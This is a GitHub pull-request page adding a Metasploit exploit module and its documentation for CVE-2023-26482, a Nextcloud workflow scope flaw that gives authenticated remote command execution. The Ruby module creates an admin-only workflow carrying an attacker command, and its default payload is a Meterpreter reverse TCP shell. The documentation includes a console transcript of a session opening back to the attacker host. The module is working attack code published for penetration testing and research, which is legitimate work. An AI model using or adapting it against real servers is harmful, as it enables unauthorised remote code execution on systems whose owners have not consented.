Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
27 commits
Select commit Hold shift + click to select a range
e819362
automatic module_metadata_base.json update
Apr 9, 2025
e6781e6
Changed ranking to Excellent
whotwagner Apr 11, 2025
5f42b34
Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
whotwagner Apr 15, 2025
4a08b93
Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
whotwagner Apr 15, 2025
14daed7
Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
whotwagner Apr 15, 2025
2245516
Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
whotwagner Apr 15, 2025
b1e3b07
Fixed get_html_document in parse_tokens
whotwagner Apr 15, 2025
fde1939
Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
whotwagner Apr 15, 2025
5a75e0b
Reformatting res.code for login-failure
whotwagner Apr 15, 2025
92e30b8
Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
whotwagner Apr 15, 2025
d0a3eb4
Fixed refacturing-bugs
whotwagner Apr 15, 2025
4a5d556
Removed linux_dropper from exploit_nextcloud_workflows
whotwagner Apr 24, 2025
c9521a0
Removed thread from exploit_nextcloud_workflows
whotwagner Apr 24, 2025
6aa2170
Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
whotwagner May 5, 2025
2ba8e1c
Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
whotwagner May 5, 2025
8378610
Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
whotwagner May 5, 2025
9b0aee4
Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
whotwagner May 5, 2025
ad9651d
Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
whotwagner May 5, 2025
09aaf58
Rearranged code and removed wait_for_payload_session
whotwagner May 5, 2025
09fc435
Removed db/modules_metadata_base.json from
whotwagner May 5, 2025
22b80bb
Added modules_metadata_base
whotwagner May 13, 2025
2259de3
Fixed a txpo in nextcloud_workflows_rce.md
whotwagner May 14, 2025
0e0b84d
Error message if nextcloud-upload fails
whotwagner May 14, 2025
9b619cb
Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
whotwagner May 15, 2025
72c9d5b
Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
whotwagner May 15, 2025
61dc956
Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
whotwagner May 15, 2025
97ecaa7
Refactoring indentations
whotwagner May 15, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
148 changes: 148 additions & 0 deletions documentation/modules/exploit/unix/webapp/nextcloud_workflows_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,148 @@
## Description

This module exploits a command injection that leads to a remote execution in Nextcloud installations if the app Workflow External Scripts is also installed.
The vulnerability affects Nextcloud versions >= 24.0.0, >= 25.0.0, >= 18.0.0, >= 19.0.0, >= 20.0.0, >= 21.0.0, >= 22.0.0, >= 23.0.0, >= 24.0.0, >= 25.0.0

A missing scope validation allowed users to create workflows which are designed to be only available for administrators. In combination with Workflow External Script, this vulnerability
leads to authenticated remote command execution.

More about the vulnerability detail: [CVE-2023-26482](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-26482).

The module will automatically use `cmd/linux/http/x64/meterpreter/reverse_tcp` payload.

The module will check if the target is vulnerable, by adding and removing a dummy-workflow.


## Vulnerable Application

[Nextcloud](https://nextcloud.com/) is a suite of client-server software for creating and using file hosting services.

This module has been tested successfully on Nextcloud versions:

* Nextcloud version 24.0.5

### Source and Installers

* [Source Code Repository](https://github.com/nextcloud/server/releases/tag/v24.0.5)
* [Docker](https://hub.docker.com/_/nextcloud)

### Docker Installation

This exploit was tested using a [nextcloud docker container](https://hub.docker.com/_/nextcloud) and [docker-compose](https://docs.docker.com/compose/)
with the following docker-compose.yml:

```yaml
volumes:
nextcloud:
db:

services:
db:
image: mariadb:10.6
restart: always
command: --transaction-isolation=READ-COMMITTED --log-bin=binlog --binlog-format=ROW
volumes:
- db:/var/lib/mysql
environment:
- MARIADB_ROOT_PASSWORD=root
- MARIADB_PASSWORD=root
- MARIADB_DATABASE=nextcloud
- MARIADB_USER=nextcloud

app:
image: nextcloud:24.0.5
restart: always
ports:
- 8080:80
links:
- db
environment:
- MYSQL_PASSWORD=root
- MYSQL_DATABASE=nextcloud
- MYSQL_USER=root
- MYSQL_HOST=db
- NEXTCLOUD_ADMIN_PASSWORD=admin
- NEXTCLOUD_ADMIN_USER=admin
- NEXTCLOUD_TRUSTED_DOMAINS="192.168.233.64:8080"
depends_on:
- db
```

**_NOTE:_** Change the IP-address and port for NEXTCLOUD_TRUSTED_DOMAINS for your setup

After `docker compose up -d` login as admin and install the workflow app: "Workflow external script" and
create a low privileged user `alice`. Make sure that you choose "Cron(Recommended)" in the Settings for "Background Jobs".
Before we can run the exploit, we need to start the cronjob. This is crucial because otherwise the
payload doesn't get triggered:

```
docker exec -it -u www-data nextcloud-app-1 /bin/bash
watch -n2 php cron.php
```

Wait until you the watch-command outputs something like: "Every 2.0s: php cron.php".

## Verification Steps
Example steps in this format (is also in the PR):

1. Do: `use exploit/unix/webapp/nextcloud_workflows_rce`
2. Do: `set RHOSTS [ips]`
3. Do: `set LHOST [lhost]`
4. Do: `set RPORT 8080`
5. Do: `set USERNAME alice`
6. Do: `set PASSWORD alice-password`
7. Do: `run`
8. You should get a shell after a while

## Options

### TARGETURI

Remote web path to the nextcloud installation (default: /)

### USERNAME

The low-privileged username to authenticate to nextcloud

### PASSWORD

The password for the low-privileged user

## Scenarios

In this scenario the zoneminder-server has the IP address 192.42.0.254. The IP address of the metasploit host is
192.42.1.188.

### Nextcloud 24.0.5(docker-compose)

The following demo shows how to use the exploit:

```
msf6 > use exploit/unix/webapp/nextcloud_workflows_rce
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set RHOSTS 192.168.233.64
RHOSTS => 192.168.233.64
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set LHOST 192.168.233.117
LHOST => 192.168.233.117
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set RPORT 8080
RPORT => 8080
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set USERNAME alice
USERNAME => alice
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set PASSWORD CaeD4ohchaiv5ieDooBa
PASSWORD => CaeD4ohchaiv5ieDooBa
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > run
[*] Started reverse TCP handler on 192.168.233.117:4444
[*] Sending payload..
[+] Workflow created
[*] Waiting for the payload to connect back ..
[*] Sending stage (3045380 bytes) to 192.168.233.64
[*] Meterpreter session 1 opened (192.168.233.117:4444 -> 192.168.233.64:37090) at 2025-04-10 13:27:49 +0000
[+] Payload connected!
[*] Cleaning up

meterpreter > getuid
Server username: www-data
```

## Limitations
Ensure that your `WfsDelay` advanced option is set to a value that allows `cron` to execute the payload. Default is 16 minutes
230 changes: 230 additions & 0 deletions modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,230 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Retry

def initialize(info = {})
@token = nil

super(
update_info(
info,
'Name' => 'Nextcloud Workflows Remote Code Execution',
'Description' => %q{
This module adds workflows as an authenticated user
which can only be created by administrators by design.
If the app "Nextcloud Workflow Script" is installed it
is possible to generate a workflow that executes commands.
},
'License' => MSF_LICENSE,
'Author' => [
'Enis Maholli', # Discovery
'arianitisufi', # Discovery
'Armend Gashi', # Discovery
'whotwagner' # Metasploit Module
],
'References' => [
['URL', 'https://github.com/nextcloud/security-advisories/security/advisories/GHSA-h3c9-cmh8-7qpj'],
['CVE', '2023-26482']
],
'Platform' => %w[linux unix],
'Targets' => [
[
'nix Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
],
],
'Privileged' => false,
'DisclosureDate' => '2023-03-30',
'DefaultOptions' => { 'WfsDelay' => 16.minutes.seconds.to_i },
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Path to nextcloud', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
]
)
end

def parse_token(res)
return if res.nil?

if defined? res.get_html_document&.at('//head/@data-requesttoken')&.value
Rex::Text.uri_encode(res.get_html_document.at('//head/@data-requesttoken').value)
else
print_error('token not found')
nil
end
end

def authenticate(user, pass)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login'),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
@token = parse_token(res)
fail_with(Failure::UnexpectedReply, 'Request Token not found') if @token.nil?

data = "user=#{user}&password=#{pass}&requesttoken=#{@token}"

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login'),
'method' => 'POST',
'data' => data.to_s,
'keep_cookies' => true
)

fail_with(Failure::NoAccess, 'Login failed') if res.nil? || res.code == 401
end

def request_token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'csrftoken'),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
@token = res.get_json_document['token']
fail_with(Failure::UnexpectedReply, '2: Request Token not found') if @token.nil?
end

def create_workflow(operation)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'ocs/v2.php/apps/workflowengine/api/v1/workflows/user'),
'method' => 'POST',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
'vars_get' => { 'format' => 'json' },
'data' => {
'id' => -1743078702939,
'class' => 'OCA\\WorkflowScript\\Operation',
'entity' => 'OCA\\WorkflowEngine\\Entity\\File',
'events' => ['\\OCP\\Files::postCreate', '\\OCP\\Files::postWrite', '\\OCP\\Files::postTouch'],
'name' => '',
'checks' => [
{
'class' => 'OCA\\WorkflowEngine\\Check\\FileName',
'operator' => 'matches',
'value' => '/.*/',
'invalid' => false
}
],
'operation' => operation,
'valid' => true
}.to_json,
'keep_cookies' => true
)

fail_with(Failure::NoAccess, 'Login failed') unless res&.code == 200
json_data = res.get_json_document
flow_id = json_data.dig('ocs', 'data', 'id')
flow_id
end

def upload_file(filename)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "remote.php/webdav/#{filename}"),
'method' => 'PUT',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
)
fail_with(Failure::UnexpectedReply, 'Unable to upload file') unless res&.message == 'Created'
end

def delete_workflow(workflow_id)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "ocs/v2.php/apps/workflowengine/api/v1/workflows/user/#{workflow_id}"),
'vars_get' => { 'format' => 'json' },
'method' => 'DELETE',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
'keep_cookies' => true
)
end

def delete_file(user, filename)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "remote.php/dav/files/#{user}/#{filename}"),
'method' => 'DELETE',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
)
end

def check
# For the check command
cookie_jar.clear

authenticate(datastore['USERNAME'], datastore['PASSWORD'])
request_token
flow_id = create_workflow('sleep 1')

Exploit::CheckCode::Safe('Target is not vulnerable') if flow_id.nil?

delete_workflow(flow_id)
Exploit::CheckCode::Vulnerable
end

def exploit
# Main function
cookie_jar.clear

authenticate(datastore['USERNAME'], datastore['PASSWORD'])

request_token

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
end
end

def execute_command(cmd, _opts = {})
print_status('Sending payload..')
@temp_filename = "#{Rex::Text.rand_text_alpha(5..10)}..txt"
@flow_id = create_workflow(cmd.to_s)

fail_with(Failure::UnexpectedReply, 'Unable to create workflow') if @flow_id.nil?

print_good('Workflow created')
upload_file(@temp_filename)
end

def need_cleanup?
defined?(@temp_filename) && @temp_filename
end

def cleanup
super
return unless need_cleanup?

print_status('Cleaning up')

delete_workflow(@flow_id) if defined?(@flow_id) && @flow_id
delete_file(datastore['USERNAME'], @temp_filename) if defined?(@temp_filename) && @temp_filename

@flow_id = nil
@temp_filename = nil
end
end